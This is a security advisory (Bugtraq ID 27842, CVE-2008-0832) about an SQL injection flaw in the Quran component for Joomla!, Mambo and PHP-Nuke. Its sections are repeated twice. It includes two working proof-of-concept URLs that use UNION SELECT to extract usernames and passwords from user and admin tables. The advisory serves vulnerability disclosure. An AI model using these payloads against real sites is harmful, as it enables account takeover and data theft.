Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
BID:27842
Info
Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
| Bugtraq ID: | 27842 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0832 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 15 2008 12:00AM |
| Updated: | May 07 2015 05:32PM |
| Credit: | Don discovered this vulnerability. |
| Vulnerable: |
PHP Nuke Quran 1.1 |
| Not Vulnerable: | |
Discussion
Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
The 'Quran' component for Joomla!, Mambo, and PHP-Nuke is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects Quran 1.1 and prior versions.
The 'Quran' component for Joomla!, Mambo, and PHP-Nuke is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
This issue affects Quran 1.1 and prior versions.
Exploit / POC
Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password),3,4,5+from+mos_users+limit+0,20--
http://www.example.com/modules.php?name=Quran&action=viewayat&surano=-9999/**/union/**/select/**/000,pwd,222,333,444/**/from/**/nuke_authors/*where%20admin1
Attackers can use a browser to exploit this issue.
The following proof-of-concept URIs are available:
http://www.example.com/index.php?option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password),3,4,5+from+mos_users+limit+0,20--
http://www.example.com/modules.php?name=Quran&action=viewayat&surano=-9999/**/union/**/select/**/000,pwd,222,333,444/**/from/**/nuke_authors/*where%20admin1
Solution / Fix
Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla!, Mambo and PHP-Nuke Quran Component SQL Injection Vulnerability
References:
References: